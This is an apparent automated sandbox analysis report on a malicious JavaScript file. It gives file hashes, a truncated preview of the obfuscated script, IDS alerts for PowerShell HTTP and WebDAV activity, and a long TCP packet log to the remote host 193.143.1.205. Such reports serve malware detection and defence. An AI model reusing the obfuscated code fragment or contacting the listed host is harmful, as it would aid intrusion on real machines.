SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14758), with CRLF line terminators
Entropy (8bit):	4.9107501228728045
TrID:
File name:	998728891275936098.js
File size:	18'164 bytes
MD5:	2ada5a6eee47ad8c579847446ed6d842
SHA1:	a8bef5e3bdd8cf4c6b3e2365fcdda25a1d5912a9
SHA256:	534072bedf7191947afc67b42d2f15601852603c0293e36c8119148d1033aa46
SHA512:	130185cffd3638b618bdcbb538c06af5acab1340f114e54e32ca075ebdbd2d22aa71dba6ab5673834cb187b1c83b80fd7a4a1e688d6c6d8d22c170195cbad256
SSDEEP:	384:xn+jrEI+i1hg75VRFVN2bQ1Q/zYl7rSgg7sn4Q64tg5NBR4tR9SMzMrZxrMnX6bU:xM112xFVNn7rSgg7sn4Q6mg5NBRmR9So
TLSH:	458253C2B501CB678CF452F4474F09C3867C43CDAEF967859862208B6E1B96299F2FB5
File Content Preview:	function mrravda(){dqmvv=[1031,3079,5127,4103,2055,3072];var ukhybwjts=this[taaxi+eejqvtk+yulboxcc+vlhrfpurc+cphrss+bsdqraxl+lpjdpwuco+yscco](this[bmhkgwpg+wnykhjlh+hotaq+yulboxcc+tyqbvmwb+taaxi+yscco][jugpucv+yulboxcc+cphrss+eejqvtk+yscco+cphrss+djiazuix

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:06:08.669853+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49724	193.143.1.205	80	TCP
2025-01-10T23:06:11.051599+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49741	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:06:07.887300968 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:07.892203093 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:07.892290115 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:07.894963026 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:07.899846077 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.669738054 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.669786930 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.669826031 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.669852972 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.669982910 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670034885 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670033932 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.670070887 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670104980 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670113087 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.670140028 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670172930 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670178890 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.670207977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.670252085 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.712584972 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.712620020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.712651014 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.712727070 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.791627884 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791646004 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791695118 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.791732073 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791773081 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791789055 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791821003 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.791821003 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.791857958 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.792380095 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792408943 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792447090 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.792512894 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792578936 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792594910 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792639971 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.792661905 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792680025 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.792695999 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.793441057 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.793457985 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.793474913 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.793484926 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.793489933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.793554068 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.794075012 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.794116020 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.794125080 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.794141054 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.794169903 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.794188023 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.799371958 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.799386024 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.799412012 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.799418926 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.799451113 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.799469948 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.799483061 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.799523115 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.834233999 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.834252119 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.834317923 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.878653049 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.878673077 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.878839016 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.913438082 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913460970 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913477898 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913516045 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913531065 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913630962 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.913659096 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.913747072 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913789034 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.913821936 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913846970 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913863897 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913887024 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.913933992 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.913974047 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.914017916 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914527893 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914565086 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914570093 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.914582968 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914618015 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.914669991 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914685011 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914731979 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.914752007 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914767027 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.914799929 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.915512085 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.915528059 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.915538073 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.915554047 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.915569067 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.915575027 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.915611029 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.915997982 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916040897 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.916062117 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916078091 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916121006 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.916167974 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916182995 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916198015 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916213036 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916218042 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.916249037 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.916913033 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916940928 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916954994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.916975975 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.917140007 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917154074 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917169094 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917177916 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.917186022 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917210102 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.917943001 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917958021 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917973042 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.917998075 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.918006897 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.918019056 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.918032885 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.918047905 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.918064117 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.918082952 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.918111086 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.965277910 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.965375900 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.965390921 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.965405941 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.965430975 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:08.965456963 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:08.965508938 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.000225067 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.000273943 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.000324011 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035063982 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035094023 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035111904 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035145044 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035164118 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035168886 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035192013 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035227060 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035243988 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035259008 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035305023 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035378933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035450935 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035465956 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035486937 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035561085 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035602093 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035615921 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035635948 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035670042 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035707951 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035722971 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035737991 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035756111 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.035799980 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.035835981 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036032915 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036102057 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036115885 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036139011 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036214113 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036228895 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036245108 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036248922 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036281109 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036298037 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036544085 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036588907 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036602020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036617994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036695004 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036716938 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036735058 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036751986 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036767960 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036771059 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036801100 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.036933899 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036950111 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036964893 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036979914 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.036982059 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037009001 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037064075 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037079096 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037112951 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037527084 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037585020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037600040 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037617922 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037691116 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037707090 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037724018 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037734985 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037760973 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037828922 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037844896 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037859917 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037874937 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037877083 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037889957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037905931 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.037906885 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.037941933 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038065910 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038522959 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038547993 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038557053 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038562059 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038594007 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038626909 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038732052 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038748980 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038763046 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038769960 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038779020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038799047 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038934946 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038952112 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038969040 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.038969040 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.038992882 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.039005995 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.039007902 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.039041996 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.039938927 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040218115 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040234089 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040508032 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.040674925 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040690899 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040707111 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040714025 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.040724039 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040741920 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040760040 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.040760994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.040774107 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.046282053 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.052109957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052138090 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052155018 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052160025 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.052186012 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.052217960 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052234888 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052253962 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052330971 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052336931 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.052346945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.052383900 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.079142094 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.087075949 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087090969 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087106943 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087152004 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.087157965 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087174892 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087182045 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.087193012 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.087239027 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.090291023 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.101329088 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.121975899 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.121993065 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122019053 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122035027 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122052908 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122066975 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122077942 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122112989 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122123957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122138977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122169018 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122247934 CET	80	49724	193.143.1.205	192.168.2.6
